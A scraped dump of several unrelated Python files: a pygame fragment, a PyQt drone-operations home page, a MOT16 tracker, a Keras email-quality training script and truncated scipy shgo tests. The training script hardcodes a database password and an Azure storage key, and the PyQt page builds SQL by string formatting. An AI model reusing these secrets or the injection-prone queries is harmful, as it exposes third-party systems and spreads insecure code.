pygame.image.load(\"assets/tablero2.png\").convert()\n\nboton1a=pygame.image.load('botones/jugar_0.png').convert_alpha()\nboton1b=pygame.image.load('botones/jugar_1.png').convert_alpha()\nboton1=Boton('jugar','botones/jugar_0.png',[640-152,420-32])\nplayer = Player()\nUI=pygame.image.load('botones/margenes.png').convert_alpha()\nall_sprites_list.add(player)\ntablero1 = Tablero()\n\ncoorxy=[640,420]\n\n#crear diferentes loops en esta clase, cada loop es un nivel o una pantalla\n\n\nwhile not done:\n \n \n game_state.cambia_nivel()\n clock.tick(60)\n\npygame.quit()","sub_path":"Pruebas.py","file_name":"Pruebas.py","file_ext":"py","file_size_in_byte":8314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"497650040","text":"\"\"\"\nCopyright (C) 2016 Skylark Drones\nMain page (Home)\n\"\"\"\n\nfrom PyQt5.QtWidgets import QVBoxLayout, QHBoxLayout, QWidget, QMessageBox, QAction, QApplication, QComboBox, QGroupBox\nfrom PyQt5.QtSql import QSqlQuery, QSqlTableModel\nfrom . import CommonWidgets as CM\nfrom . import SettingsPage\n\n\nclass Home(QWidget):\n\n def __init__(self, MDLA, Stack, MenuBar, MainWindow):\n super().__init__()\n\n # clear mission action\n self.clearMission = QAction('Clear Local Mission', self)\n self.clearMission.setStatusTip('Clear local mission from local db')\n self.clearMission.triggered.connect(lambda: self.clearSession(MDLA, MainWindow.statusBar, MainWindow.sessionDatabase.db))\n\n # Settings action\n self.settingsAction = QAction('Settings', self)\n self.settingsAction.setStatusTip(\"Show {} settings\".format(MDLA.applicationName))\n self.settingsAction.setShortcut('Ctrl+Alt+S')\n self.settingsAction.triggered.connect(lambda: self.openSettingsWindow(MDLA, MainWindow.inventoryDatabase.db))\n\n # Exit action\n self.exitAction = QAction('&Exit', self)\n self.exitAction.setStatusTip('Quit application')\n self.exitAction.setShortcut('Ctrl+Q')\n self.exitAction.triggered.connect(QApplication.quit)\n\n # Add file menu\n self.fileMenu = MenuBar.addMenu('&File')\n self.fileMenu.addSeparator()\n self.fileMenu.addAction(self.clearMission)\n self.fileMenu.addSeparator()\n self.fileMenu.addAction(self.settingsAction)\n self.fileMenu.addSeparator()\n self.fileMenu.addAction(self.exitAction)\n\n # About action\n self.aboutAction = QAction('About'.format(MDLA.applicationName), self)\n self.aboutAction.setStatusTip(\"Show information about {}\".format(MDLA.applicationName))\n self.aboutAction.setShortcut('Ctrl+H')\n self.aboutAction.triggered.connect(lambda: self.helpAbout(MDLA))\n\n # Add help menu\n self.helpMenu = MenuBar.addMenu('&Help')\n self.helpMenu.addAction(self.aboutAction)\n\n minHeight = 60\n\n # Home Page Buttons\n syncButton = CM.createButton(\"Sync Inventory List\", min_height=minHeight)\n syncButton.setEnabled(False)\n\n allSystemsGoButton = CM.createButton(\"All Systems Go Check\", min_height=minHeight)\n allSystemsGoButton.clicked.connect(lambda: self.openAllSystemsGoPage(Stack))\n\n dDayButton = CM.createButton(\"D-Day Check\", min_height=minHeight)\n dDayButton.clicked.connect(lambda: self.openDDayPage(Stack))\n\n hardwareRow = QHBoxLayout()\n hardwareRow.setSpacing(10)\n hardwareRow.addWidget(allSystemsGoButton)\n hardwareRow.addWidget(dDayButton)\n\n dronecubatorLayout = QVBoxLayout()\n #dronecubatorLayout.addWidget(syncButton)\n dronecubatorLayout.addItem(hardwareRow)\n\n dronecubatorGroup = QGroupBox()\n dronecubatorGroup.setTitle(\"Dronecubator\")\n dronecubatorGroup.setLayout(dronecubatorLayout)\n\n self.flightLogModel = QSqlTableModel(self, MainWindow.sessionDatabase.db)\n self.flightLogModel.setTable(\"Flight_Log\")\n self.flightLogModel.select()\n\n self.flightLogCombo = QComboBox()\n self.flightLogCombo.setMinimumHeight(minHeight)\n self.flightLogCombo.setModel(self.flightLogModel)\n self.flightLogCombo.setModelColumn(self.flightLogModel.fieldIndex(\"name\"))\n self.flightLogCombo.insertItem(0, \"New Flight Log\")\n self.flightLogCombo.setCurrentIndex(0)\n self.flightLogCombo.setStyleSheet(\"\"\"QComboBox{ padding-left: 10px }\"\"\")\n\n self.flightLogCombo.currentIndexChanged.connect(self.updateFlightLogButtons)\n\n self.flightLogActionButton = CM.createButton(\"Create Flight Log\", min_height=minHeight)\n self.flightLogActionButton.clicked.connect(lambda: self.openFlightLog(MDLA, Stack, MainWindow.sessionDatabase.db))\n\n self.deleteFlightLogButton = CM.createButton(\"Delete Flight Log\", min_height=minHeight)\n self.deleteFlightLogButton.setVisible(False)\n self.deleteFlightLogButton.clicked.connect(lambda: self.deleteFlightLog(MainWindow.statusBar, MainWindow.sessionDatabase.db))\n\n flightLogRow = QHBoxLayout()\n flightLogRow.setSpacing(10)\n flightLogRow.addWidget(self.flightLogCombo, 4)\n flightLogRow.addWidget(self.flightLogActionButton, 2)\n flightLogRow.addWidget(self.deleteFlightLogButton, 2)\n\n dataVerificationButton = CM.createButton(\"Data Verification\", min_height=minHeight)\n dataVerificationButton.setEnabled(False)\n\n onFieldLayout = QVBoxLayout()\n onFieldLayout.addItem(flightLogRow)\n #onFieldLayout.addWidget(dataVerificationButton)\n\n onFieldGroup = QGroupBox()\n onFieldGroup.setTitle(\"On-Field\")\n onFieldGroup.setLayout(onFieldLayout)\n\n geotagButton = CM.createButton(\"Geotag Images\", min_height=minHeight)\n geotagButton.clicked.connect(lambda: self.openGeotagPage(Stack))\n\n analyseLogButton = CM.createButton(\"Analyse Log\", min_height=minHeight)\n analyseLogButton.clicked.connect(lambda: self.openAnalysePage(Stack))\n\n postProcessLayout = QVBoxLayout()\n postProcessLayout.addWidget(geotagButton)\n # TODO: Enable this later when expanding the analyse log feature\n postProcessLayout.addWidget(analyseLogButton)\n\n postProcessGroup = QGroupBox()\n postProcessGroup.setTitle(\"Post-Processing\")\n postProcessGroup.setLayout(postProcessLayout)\n\n Stack.currentChanged.connect(lambda: self.updateApplicationWindowTitle(MDLA, Stack, MainWindow))\n\n # Main Layout\n mainColumn = QVBoxLayout()\n mainColumn.addStretch()\n mainColumn.addWidget(dronecubatorGroup)\n mainColumn.addWidget(onFieldGroup)\n mainColumn.addWidget(postProcessGroup)\n mainColumn.addStretch()\n mainColumn.setSpacing(20)\n mainColumn.setContentsMargins(60, 40, 60, 40)\n\n self.setLayout(mainColumn)\n\n def updateApplicationWindowTitle(self, MDLA, Stack, MainWindow):\n \"\"\"Update application window title\n\n Args:\n :param MDLA: Mock Drone Log Analyser object (QObject)\n :param Stack: Application Stacked Widget (QStackView)\n :param MainWindow: Application Main Window (QMainWindow)\n \"\"\"\n if Stack.currentIndex() == 5:\n MainWindow.setWindowTitle(\"Analyse Log - {}\".format(MDLA.applicationName))\n elif Stack.currentIndex() == 4:\n MainWindow.setWindowTitle(\"Geotag Images - {}\".format(MDLA.applicationName))\n elif Stack.currentIndex() == 3:\n MainWindow.setWindowTitle(\"Flight Log #{} - {}\".format(MainWindow.stack4.flightLogNo, MDLA.applicationName))\n elif Stack.currentIndex() == 2:\n MainWindow.setWindowTitle(\"D-Day Checklist - {}\".format(MDLA.applicationName))\n elif Stack.currentIndex() == 1:\n MainWindow.setWindowTitle(\"All Systems Go Checklist - {}\".format(MDLA.applicationName))\n else:\n MainWindow.setWindowTitle(MDLA.applicationName)\n\n def openAllSystemsGoPage(self, Stack):\n \"\"\"Switch to allsystemsgo page in the main stackview\n\n Args:\n :param Stack: Application Stacked Widget (QStackView)\n \"\"\"\n Stack.setCurrentIndex(1)\n\n def openDDayPage(self, Stack):\n \"\"\"Switch to dday page in the main stackview\n\n Args:\n :param Stack: Application Stacked Widget (QStackView)\n \"\"\"\n Stack.setCurrentIndex(2)\n\n def openFlightLog(self, MDLA, Stack, sessionDatabase):\n \"\"\"Switch to flightlog page in the main stackview\n\n Args:\n :param MDLA: Mock Drone Log Analyser object (QObject)\n :param Stack: Application Stacked Widget (QStackView)\n :param sessionDatabase: Local session database object (QSqlDatabase)\n \"\"\"\n # Create new flight log\n if self.flightLogCombo.currentIndex() == 0:\n sessionQuery = QSqlQuery(sessionDatabase)\n sessionQuery.exec_(\"\"\"SELECT MAX(id) FROM Flight_Log\"\"\")\n sessionQuery.next()\n\n lastId = sessionQuery.value(0)\n if lastId is \"\":\n lastId = 1\n else:\n lastId += 1\n logName = \"Flight Log #{}\".format(lastId)\n\n # Create a new flight low row in the database\n sessionQuery.exec_(\"\"\"INSERT INTO Flight_Log (id, name) VALUES ({}, '{}')\"\"\".format(lastId, logName))\n\n # Update flight log combobox and its model\n self.flightLogModel.select()\n self.flightLogCombo.insertItem(0, \"New Flight Log\")\n self.flightLogCombo.setCurrentIndex(0)\n\n if sessionQuery.lastError().text().strip():\n # TODO: Pop dialog box informing user of database read error\n print(sessionQuery.lastError().text())\n else:\n MDLA.openFlightLog.emit(lastId)\n else:\n MDLA.openFlightLog.emit(self.flightLogCombo.currentIndex())\n Stack.setCurrentIndex(3)\n\n def deleteFlightLog(self, statusBar, sessionDatabase):\n \"\"\"\n Delete flight log from session database\n\n Args:\n :param statusBar: Application status bar (QStatusBar)\n :param sessionDatabase: Local session database object (QSqlDatabase)\n \"\"\"\n flightLogName = self.flightLogCombo.currentData(0)\n\n buttonPressed = QMessageBox.critical(self, \"Confirm Flight Log Deletion\",\n \"\"\"\n

Are you sure you want to delete {}? This action is irreversible\n and will result in data being deleted!\n \"\"\".format(flightLogName), QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n\n if buttonPressed == QMessageBox.Yes:\n sessionQuery = QSqlQuery(sessionDatabase)\n\n sessionQuery.exec_(\"\"\"DELETE FROM Flight_Log WHERE name='{}'\"\"\".format(flightLogName))\n\n # Repopulate flight log combo box\n self.flightLogModel.select()\n self.flightLogCombo.insertItem(0, \"New Flight Log\")\n self.flightLogCombo.setCurrentIndex(0)\n\n statusBar.showMessage(\"{} deleted\".format(flightLogName))\n\n def updateFlightLogButtons(self, index):\n \"\"\"\n Update flight log button name when combo box index changes\n\n Args:\n :param index: Combobox index (Int)\n \"\"\"\n if index == 0:\n self.flightLogActionButton.setText(\"Create Flight Log\")\n self.deleteFlightLogButton.setVisible(False)\n else:\n self.flightLogActionButton.setText(\"Open Flight Log\")\n self.deleteFlightLogButton.setVisible(True)\n\n def openGeotagPage(self, Stack):\n \"\"\"Switch to geotag page in the main stackview\n\n Args:\n :param Stack: Application Stacked Widget (QObject)\n \"\"\"\n Stack.setCurrentIndex(4)\n\n def openAnalysePage(self, Stack):\n \"\"\"Switch to analyse page in the main stackview\n\n Args:\n :param Stack: Application Stacked Widget (QStackView)\n \"\"\"\n Stack.setCurrentIndex(5)\n\n def helpAbout(self, MDLA):\n \"\"\"Show about dialog\n\n Args:\n :param MDLA: Mock Drone Log Analyser object (QObject)\n \"\"\"\n QMessageBox.about(self, \"About {}\".format(MDLA.applicationName),\n \"\"\"\n {} {}\n

Application to be used in all phases of a drone operation starting from the pre-flight\n to basic post-flight data processing which includes log file analysis and geotagging images.\n

It is based on open source components such as Python 3.5, PyQt 5.6.1 and Matplotlib.\n

Github Project Page\n

Report a bug\n

Copyright © 2016 Skylark Drones Ltd. All rights reserved.\n \"\"\".format(MDLA.applicationName, MDLA.version))\n\n def openSettingsWindow(self, MDLA, InventoryDatabase):\n \"\"\"Open settings dialog\n\n Args:\n :param MDLA: Mock Drone Log Analyser object (QObject)\n :param InventoryDatabase: Inventory database object (QSqlDatabase)\n \"\"\"\n SettingsPage.SettingsPage(MDLA, InventoryDatabase).exec_()\n MDLA.inventoryDatabaseChanged.emit()\n\n def clearSession(self, MDLA, statusBar, sessionDatabase):\n \"\"\"\n Clear local session data\n\n Args:\n :param MDLA: Mock Drone Log Analyser object (QObject)\n :param statusBar: Status bar object (QStatusBar)\n :param sessionDatabase: Session database object (QSqlDatabase)\n \"\"\"\n buttonPressed = QMessageBox.critical(self, \"Confirm Local Session Clear\",\n \"\"\"\n

Are you sure you want to clear the local session? This action is irreversible\n and will result in data being deleted!\n \"\"\", QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n\n if buttonPressed == QMessageBox.Yes:\n sessionQuery = QSqlQuery(sessionDatabase)\n\n # Delete all session tables data\n sessionQuery.exec_(\"\"\"DELETE FROM D_Day\"\"\")\n sessionQuery.exec_(\"\"\"DELETE FROM All_Systems_Go\"\"\")\n sessionQuery.exec_(\"\"\"DELETE FROM Flight_Log\"\"\")\n\n # Insert sample row into D-Day\n sessionQuery.exec_(\"\"\"INSERT INTO D_Day (id) VALUES (1)\"\"\")\n\n # Insert sample row into All-Systems-Go\n sessionQuery.exec_(\"\"\"INSERT INTO All_Systems_Go (id) VALUES (1)\"\"\")\n\n # Emit that session database has been cleared\n MDLA.sessionDatabaseChanged.emit()\n\n # Repopulate flight log combo box\n self.flightLogModel.select()\n self.flightLogCombo.insertItem(0, \"New Flight Log\")\n self.flightLogCombo.setCurrentIndex(0)\n\n statusBar.showMessage(\"Local session cleared\", 3000)\n\n\n\n\n","sub_path":"ui/HomePage.py","file_name":"HomePage.py","file_ext":"py","file_size_in_byte":14482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"325686282","text":"import os, sys\nimport numpy as np\nimport cv2\nfrom load_mot import MOT16\nfrom tracker import Tracker\nfrom siam_learner import PATCH_SIZE, normalize_image\nfrom siamnet import SiameseNet\nimport tensorflow as tf\n\n\ndef resultFile(result, fname):\n f = open(fname, 'w')\n for r in result:\n assert r[6] != 0\n f.write('{}, {}, {}, {}, {}, {}, {}, {}, {}, {}\\n'.format(int(r[0]), int(r[1]),\n int(round(r[2])), int(round(r[3])), int(round(r[4])), int(round(r[5])),\n r[6], r[7], r[8], r[9]))\n f.close()\n\n\ndef getPatch(img, detection, info):\n width = info['im_width']\n height = info['im_height']\n x1 = int(round(detection[2]))\n y1 = int(round(detection[3]))\n x2 = int(round(detection[4] + x1))\n y2 = int(round(detection[5] + y1))\n if x1 < 0: x1 = 0\n if y1 < 0: y1 = 0\n if x2 >= width: x2 = width - 1\n if y2 >= height: y2 = height - 1\n patch = img[y1:y2, x1:x2, :].copy()\n patch_h = PATCH_SIZE[0]\n patch_w = PATCH_SIZE[1]\n patch = cv2.resize(patch, (patch_w, patch_h), interpolation=cv2.INTER_CUBIC)\n patch = patch.astype(np.float32)\n patch = np.expand_dims(patch, axis=0)\n return patch\n\n\nif __name__ == '__main__':\n\n SIAMESE_APP = True\n weight_app = 0.7\n if not SIAMESE_APP:\n weight_app = 0.0\n\n test_train = 'train'\n seq_name = 'MOT16-09'\n from_train = True if test_train == 'train' else False\n data = MOT16(filter_info={'nms': 0.4, 'confidence': -1.0})\n seq_info = data.sequence_info[seq_name]\n tracker = Tracker(seq_info['im_width'], seq_info['im_height'],\n w_app=weight_app, max_miss=8, min_length=10, min_track_quality=0.6, min_score_app=0.0, min_score_kin=0.1,\n dist_thresh=1.0, process_noise1=30, process_noise2=10, observation_noise=30)\n\n model = SiameseNet(PATCH_SIZE, 3, 0.00000001, True)\n session = tf.Session()\n saver = tf.train.Saver()\n saver.restore(session, 'model/siamnet.ckpt-390')\n\n for f in range(seq_info['frames'][0], seq_info['frames'][1]):\n img, dets = data.retrieveSequence(seq_name, f, from_train)\n cv2.putText(img, '{}/{}'.format(f, seq_info['frames'][1]), (10, 50), cv2.FONT_HERSHEY_COMPLEX, 1.0, (0, 0, 255), 2)\n detections = {}\n patches = {}\n for i, d in enumerate(dets, 1):\n patches[i] = getPatch(img, d, seq_info)\n normalize_image(patches[i])\n detections[i] = (d[2], d[3], d[4], d[5], d[6])\n track_patches = tracker.getTrackPatches()\n\n app_scores = None\n if SIAMESE_APP:\n app_scores = {}\n for i, x in enumerate(track_patches):\n x1 = track_patches[x]\n for j, z in enumerate(detections):\n x2 = patches[z]\n [logits] = session.run([model.logits], feed_dict={model.x_1: x1, model.x_2: x2})\n prob = 1 / (1 + np.exp(-logits))\n app_scores[(z, x[1])] = prob.item()\n\n tracker.doTracking(f, detections, patches, app_scores=app_scores, canvas=None)\n\n for t in tracker.Tracking:\n last_index = len(tracker.Tracking[t]['trajectory']) - 1\n showlen = min(10, last_index + 1)\n colorid = cv2.applyColorMap(np.array([(t * 50) % 256], dtype=np.uint8), cv2.COLORMAP_HSV)\n colors = (int(colorid[0, 0, 0]), int(colorid[0, 0, 1]), int(colorid[0, 0, 2]))\n p1 = tracker.Tracking[t]['trajectory'][last_index]\n cv2.rectangle(img, (int(p1[1]), int(p1[2])), (int(p1[1] + p1[3]), int(p1[2] + p1[4])), colors, 2)\n p1x = int(round(p1[1] + p1[3] / 2))\n p1y = int(round(p1[2] + p1[4] / 2))\n cv2.putText(img, str(t), (p1x, p1y), cv2.FONT_HERSHEY_COMPLEX, 0.7, colors, 2)\n for l in range(1, showlen):\n p1 = tracker.Tracking[t]['trajectory'][last_index - (l - 1)]\n p2 = tracker.Tracking[t]['trajectory'][last_index - (l)]\n p1x = int(round(p1[1] + p1[3] / 2))\n p1y = int(round(p1[2] + p1[4] / 2))\n p2x = int(round(p2[1] + p2[3] / 2))\n p2y = int(round(p2[2] + p2[4] / 2))\n dummy = p1[5] + p2[5]\n if dummy == 0:\n cv2.line(img, (p1x, p1y), (p2x, p2y), colors, 3)\n else:\n cv2.line(img, (p1x, p1y), (p2x, p2y), (int(colors[0] / 2), int(colors[1] / 2), int(colors[2] / 2)), 1)\n cv2.imshow('show', img)\n key = cv2.waitKey(1)\n results = tracker.concludeTracks()\n outfile = 'results/' + test_train + '/' + seq_name + '.txt'\n resultFile(results, outfile)\n print('finished...')\n","sub_path":"mot16_siamtracker.py","file_name":"mot16_siamtracker.py","file_ext":"py","file_size_in_byte":4778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"24709331","text":"import os\nimport pandas\nimport numpy\nimport csv\nimport tensorflow\n\nfrom keras.models import Sequential, Model\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.layers import Input, Dense, Flatten, Embedding, LSTM, Bidirectional, concatenate\nfrom keras.preprocessing import sequence\nfrom keras import regularizers\nfrom keras.callbacks import EarlyStopping\n\nfrom sklearn import model_selection\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom sklearn.externals import joblib\nfrom sklearn.utils import class_weight\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom azure.storage.file import FileService\n\nML_DB_CONN = \"postgres://auto_train@nova-ml-db:xb8SDUh3SslCYEhM2xoGlUJuyMpFmi9H@nova-ml-db.postgres.database.azure.com/novaml\"\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\ncsv_filename = 'quality-data.csv'\nsave_files = False\n\ndef download_csv():\n query = ('SELECT id, body, recipient_title, stage, company_size, intent FROM sequence_training ' +\n 'WHERE body IS NOT NULL AND recipient_title IS NOT NULL AND company_size IS NOT NULL AND intent IS NOT NULL')\n pandas.read_sql(sql=query, con=ML_DB_CONN).to_csv(csv_filename, index=False)\n\ndef train():\n # Model variables\n test_split = 0.10\n val_split = 0.20\n random_state = 1\n\n batch_size = 4096\n patience = 4\n epochs = 24\n\n body_lstm_units = 64\n body_dropout = 0.2\n body_recurrent_dropout = 0.2\n\n title_lstm_units = 16\n hidden_layer_units = 64\n\n body_max_features = 50000\n body_max_length = 1200\n body_embedding_dim = 64\n\n title_max_features = 10000\n title_max_length = 16\n title_embedding_dim = 32\n\n positive_classes = [1,3,5,6,7]\n test_records = 4000\n\n train_val_data = pandas.read_csv(csv_filename, error_bad_lines=False).values\n\n if save_files:\n # Connect to Azure file service\n file_service = FileService(\n account_name='novamodels',\n account_key='iJjNJGFPKNAZJ7T588L2WAyPCPE1SCpMixoaVzi1mltA9LRpB5KPFUiXaMpvlmSkkG71ZI7ei27xK2bqg/8f6A==')\n category = 'sequence-quality'\n\n # Body tokenizer\n X_body = train_val_data[:,1].astype('str')\n ## allowed default tokens !(),.:?@\n body_tokenizer = Tokenizer(num_words=body_max_features, split=' ',\n filters='#$%&*+-/[\\\\]^_`|~\\r\\t\\n', oov_token = '')\n body_tokenizer.fit_on_texts(X_body.tolist())\n\n if save_files:\n filename = \"{}_body_tokenizer_{}.pkl\".format(category, os.environ['NOW'])\n joblib.dump(body_tokenizer, filename)\n saved_file = retry(2, file_service.create_file_from_path,\n share_name=category, directory_name=None, file_name=filename, local_file_path=filename)\n if saved_file is None:\n print('Could not save body tokenizer file.')\n return\n else:\n print(\"Saved body tokenizer file.\")\n os.remove(filename)\n\n # Title tokenizer\n X_title = train_val_data[:,2].astype('str')\n ## allowed default tokens !(),.:?@\n title_tokenizer = Tokenizer(num_words=title_max_features, split=' ',\n filters='#$%&*+-/[\\\\]^_`|~\\r\\t\\n', oov_token = '')\n title_tokenizer.fit_on_texts(X_title.tolist())\n\n if save_files:\n filename = \"{}_title_tokenizer_{}.pkl\".format(category, os.environ['NOW'])\n joblib.dump(title_tokenizer, filename)\n saved_file = retry(2, file_service.create_file_from_path,\n share_name=category, directory_name=None, file_name=filename, local_file_path=filename)\n if saved_file is None:\n print('Could not save title tokenizer file.')\n return\n else:\n print(\"Saved title tokenizer file.\")\n os.remove(filename)\n\n # X tensor generation\n # sequence body\n X_body = body_tokenizer.texts_to_sequences(X_body)\n X_body = sequence.pad_sequences(X_body, maxlen=body_max_length, padding='post', truncating='post')\n\n # title\n X_title = title_tokenizer.texts_to_sequences(X_title)\n X_title = sequence.pad_sequences(X_title, maxlen=title_max_length, padding='post', truncating='post')\n\n # other integer inputs\n X_stage = train_val_data[:,3]\n X_comp_size = train_val_data[:,4]\n\n X = numpy.column_stack([X_body, X_title, X_stage, X_comp_size])\n\n # convert intent classes to binary (positive and negative)\n y = train_val_data[:,5]\n y = numpy.vectorize(lambda x: 1 if x in positive_classes else 0)(y)\n\n X, X_test, y, y_test = model_selection.train_test_split(X, y, test_size=test_split, random_state=random_state)\n X_train, X_val, y_train, y_val = model_selection.train_test_split(X, y, test_size=val_split, random_state=random_state)\n\n X_train = numpy.split(X_train, [body_max_length, body_max_length + title_max_length], axis=1)\n X_val = numpy.split(X_val, [body_max_length, body_max_length + title_max_length], axis=1)\n X_test = numpy.split(X_test, [body_max_length, body_max_length + title_max_length], axis=1)\n\n class_weights = class_weight.compute_class_weight('balanced', numpy.unique(y_train), y_train)\n class_weights = {0: class_weights[0], 1: class_weights[1]}\n\n # Model\n ## sequence body LSTM\n body_input = Input(shape=(body_max_length,), name='body_input')\n x = Embedding(body_max_features, body_embedding_dim, input_length=body_max_length)(body_input)\n body_lstm_out = LSTM(body_lstm_units, dropout=body_dropout, recurrent_dropout=body_recurrent_dropout)(x)\n\n ## title LSTM\n title_input = Input(shape=(title_max_length,), name='title_input')\n y = Embedding(title_max_features, title_embedding_dim, input_length=title_max_length)(title_input)\n title_lstm_out = LSTM(title_lstm_units)(y)\n\n ## integer aux input layer and merge\n auxiliary_input = Input(shape=(2,), name='aux_input')\n x = concatenate([body_lstm_out, title_lstm_out, auxiliary_input])\n\n ## hidden layers and output layer\n x = Dense(hidden_layer_units, activation='relu')(x)\n x = Dense(hidden_layer_units, activation='relu')(x)\n main_output = Dense(1, activation='sigmoid', name='main_output')(x)\n model = Model(inputs=[body_input, title_input, auxiliary_input], outputs=[main_output])\n\n ## model compile and fit\n model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n earlystop = EarlyStopping(monitor='val_loss', min_delta=0, patience=patience, verbose=0, mode='auto')\n model.fit(X_train, y_train, validation_data=(X_val, y_val), class_weight=class_weights,\n callbacks=[earlystop], epochs=epochs, batch_size=batch_size, verbose=1)\n\n if save_files:\n # Upload model\n filename = \"{}_model_{}.hd5\".format(category, os.environ['NOW'])\n model.save(filename)\n saved_file = retry(2, file_service.create_file_from_path,\n share_name=category, directory_name=None, file_name=filename, local_file_path=filename)\n if saved_file is None:\n print('Could not save model file.')\n return\n else:\n print(\"Saved model file.\")\n os.remove(filename)\n\n y_pred = model.predict(X_val, batch_size=batch_size, verbose=0).astype('int')\n\n print('Confusion Matrix')\n print(\"---------------------\")\n print(confusion_matrix(y_val, y_pred))\n print()\n\n print('Classification Report')\n print(\"---------------------\")\n print(classification_report(y_val, y_pred))\n print()\n\nif __name__ == '__main__':\n if save_files:\n try:\n print(os.environ['NOW'])\n except:\n import time\n os.environ['NOW'] = str(int(time.time()))\n # download_csv()\n train()\n","sub_path":"train/sequence_quality.py","file_name":"sequence_quality.py","file_ext":"py","file_size_in_byte":7621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"201632067","text":"import logging\nimport numpy\nimport pytest\nfrom pytest import raises as assert_raises, warns\nfrom scipy.optimize import shgo\nfrom scipy.optimize._shgo import SHGO\n\n\nclass StructTestFunction:\n def __init__(self, bounds, expected_x, expected_fun=None,\n expected_xl=None, expected_funl=None):\n self.bounds = bounds\n self.expected_x = expected_x\n self.expected_fun = expected_fun\n self.expected_xl = expected_xl\n self.expected_funl = expected_funl\n\n\ndef wrap_constraints(g):\n cons = []\n if g is not None:\n if (type(g) is not tuple) and (type(g) is not list):\n g = (g,)\n else:\n pass\n for g in g:\n cons.append({'type': 'ineq',\n 'fun': g})\n cons = tuple(cons)\n else:\n cons = None\n return cons\n\n\nclass StructTest1(StructTestFunction):\n def f(self, x):\n return x[0] ** 2 + x[1] ** 2\n\n def g(x):\n return -(numpy.sum(x, axis=0) - 6.0)\n\n cons = wrap_constraints(g)\n\n\ntest1_1 = StructTest1(bounds=[(-1, 6), (-1, 6)],\n expected_x=[0, 0])\ntest1_2 = StructTest1(bounds=[(0, 1), (0, 1)],\n expected_x=[0, 0])\ntest1_3 = StructTest1(bounds=[(None, None), (None, None)],\n expected_x=[0, 0])\n\n\nclass StructTest2(StructTestFunction):\n \"\"\"\n Scalar function with several minima to test all minimizer retrievals\n \"\"\"\n\n def f(self, x):\n return (x - 30) * numpy.sin(x)\n\n def g(x):\n return 58 - numpy.sum(x, axis=0)\n\n cons = wrap_constraints(g)\n\n\ntest2_1 = StructTest2(bounds=[(0, 60)],\n expected_x=[1.53567906],\n expected_fun=-28.44677132,\n # Important: test that funl return is in the correct order\n expected_xl=numpy.array([[1.53567906],\n [55.01782167],\n [7.80894889],\n [48.74797493],\n [14.07445705],\n [42.4913859],\n [20.31743841],\n [36.28607535],\n [26.43039605],\n [30.76371366]]),\n\n expected_funl=numpy.array([-28.44677132, -24.99785984,\n -22.16855376, -18.72136195,\n -15.89423937, -12.45154942,\n -9.63133158, -6.20801301,\n -3.43727232, -0.46353338])\n )\n\ntest2_2 = StructTest2(bounds=[(0, 4.5)],\n expected_x=[1.53567906],\n expected_fun=[-28.44677132],\n expected_xl=numpy.array([[1.53567906]]),\n expected_funl=numpy.array([-28.44677132])\n )\n\n\nclass StructTest3(StructTestFunction):\n \"\"\"\n Hock and Schittkowski 18 problem (HS18). Hoch and Schittkowski (1981)\n http://www.ai7.uni-bayreuth.de/test_problem_coll.pdf\n Minimize: f = 0.01 * (x_1)**2 + (x_2)**2\n\n Subject to: x_1 * x_2 - 25.0 >= 0,\n (x_1)**2 + (x_2)**2 - 25.0 >= 0,\n 2 <= x_1 <= 50,\n 0 <= x_2 <= 50.\n\n Approx. Answer:\n f([(250)**0.5 , (2.5)**0.5]) = 5.0\n\n\n \"\"\"\n\n def f(self, x):\n return 0.01 * (x[0]) ** 2 + (x[1]) ** 2\n\n def g1(x):\n return x[0] * x[1] - 25.0\n\n def g2(x):\n return x[0] ** 2 + x[1] ** 2 - 25.0\n\n g = (g1, g2)\n\n cons = wrap_constraints(g)\n\n\ntest3_1 = StructTest3(bounds=[(2, 50), (0, 50)],\n expected_x=[250 ** 0.5, 2.5 ** 0.5],\n expected_fun=5.0\n )\n\n\nclass StructTest4(StructTestFunction):\n \"\"\"\n Hock and Schittkowski 11 problem (HS11). Hoch and Schittkowski (1981)\n\n NOTE: Did not find in original reference to HS collection, refer to\n Henderson (2015) problem 7 instead. 02.03.2016\n \"\"\"\n\n def f(self, x):\n return ((x[0] - 10) ** 2 + 5 * (x[1] - 12) ** 2 + x[2] ** 4\n + 3 * (x[3] - 11) ** 2 + 10 * x[4] ** 6 + 7 * x[5] ** 2 + x[\n 6] ** 4\n - 4 * x[5] * x[6] - 10 * x[5] - 8 * x[6]\n )\n\n def g1(x):\n return -(2 * x[0] ** 2 + 3 * x[1] ** 4 + x[2] + 4 * x[3] ** 2\n + 5 * x[4] - 127)\n\n def g2(x):\n return -(7 * x[0] + 3 * x[1] + 10 * x[2] ** 2 + x[3] - x[4] - 282.0)\n\n def g3(x):\n return -(23 * x[0] + x[1] ** 2 + 6 * x[5] ** 2 - 8 * x[6] - 196)\n\n def g4(x):\n return -(4 * x[0] ** 2 + x[1] ** 2 - 3 * x[0] * x[1] + 2 * x[2] ** 2\n + 5 * x[5] - 11 * x[6])\n\n g = (g1, g2, g3, g4)\n\n cons = wrap_constraints(g)\n\n\ntest4_1 = StructTest4(bounds=[(-10, 10), ] * 7,\n expected_x=[2.330499, 1.951372, -0.4775414,\n 4.365726, -0.6244870, 1.038131, 1.594227],\n expected_fun=680.6300573\n )\n\n\nclass StructTest5(StructTestFunction):\n def f(self, x):\n return (-(x[1] + 47.0)\n * numpy.sin(numpy.sqrt(abs(x[0] / 2.0 + (x[1] + 47.0))))\n - x[0] * numpy.sin(numpy.sqrt(abs(x[0] - (x[1] + 47.0))))\n )\n\n g = None\n cons = wrap_constraints(g)\n\n\ntest5_1 = StructTest5(bounds=[(-512, 512), (-512, 512)],\n expected_fun=[-959.64066272085051],\n expected_x=[512., 404.23180542])\n\n\nclass StructTestLJ(StructTestFunction):\n \"\"\"\n LennardJones objective function. Used to test symmetry constraints settings.\n \"\"\"\n\n def f(self, x, 